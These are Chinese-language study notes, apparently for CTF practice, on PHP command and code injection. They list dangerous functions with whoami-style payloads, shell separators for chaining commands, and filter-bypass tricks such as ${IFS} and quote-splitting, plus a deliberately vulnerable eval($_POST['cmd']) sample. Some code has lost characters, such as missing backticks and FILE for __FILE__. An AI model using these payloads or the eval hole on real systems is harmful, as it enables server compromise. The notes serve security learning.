一、高危函数
1、system
执行系统命令,如果中间有空格,就要加引号
system("ls /")
文件写入
?url=system("echo 111 > flag.php")
2、exec
类似与系统命令执行要加echo
echo exec('whoami')
3、shell_exec
通过shell环境执行命令,将完整的输出以字符串的形式返回
要加echo
echo shell_exec(whoami)
4、passthru
显示原始数据输出
passthru(whoami)
5、``反引号
相当于shell_exec()
echo whoami
二、逻辑运算符饶过
|
在cmd中,连接命令,只会执行后面的命令
||
前面的命令执行失败才执行后面
&
无论全面命令是否执行成功,都会成功执行后面的命令
;
每条命令都会执行
&&
前面命令为真才会执行后面的命令
三、常见替换
通配符*,?
环境变量${env:0:1}
绕过空格%20,%09,${IFS},$IFS$9,{},> < <>,{cat,flag.txt}
绕过关键字$@,\,’’,””,base64编码
四、关键字替换
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 ls:查看目录 dir:查看目录
五、常见的连接符
饶过关键字
单引号'
双引号"
反斜杠\
如ca't fla"g
二、代码执行
示例如下
<?php
error_reporting(0);
highlight_file(FILE);
$cmd=$_POST['cmd'];
eval($cmd);
?>
eval()把字符串作为PHP代码执行
eval(phpinfo());
assert()检测指定内容结果为FALSE如果为字符串可代码执行
assert('system("whoami")');
preg_replace() /e执行一个正则表达式的搜索和替换
preg_replace("/test/e",'system("whoami")','test');/e 代码执行版本<=5.6版本
call_user_func()第一个参数作为回调函数调用,第二个未回调参数
call_user_func('system','whoami');
call_user_func_array()第一个参数作为回调函数调用,数组参数作为回调的参数
call_user_func_array('system',array('whoami'));
create_function()匿名函数如果参数未过滤可提供提交特殊字符串导致代码执行
create_function('$test',' ;}phpinfo();/*');php7.2被弃用,在php8.0被移除.
system()执行外部程序,并且显示输出
system('whoami')
exec()执行一个外部程序
echo exec('whoami');
shell_exec()通过shell环境执行命令,并且将完整的输出以字符串的形式返回
echo shell_exec('whoami');
passthru()执行外部程序并且显示数据原始输出
passthru('whoami');
``,反引号等于shell_exec()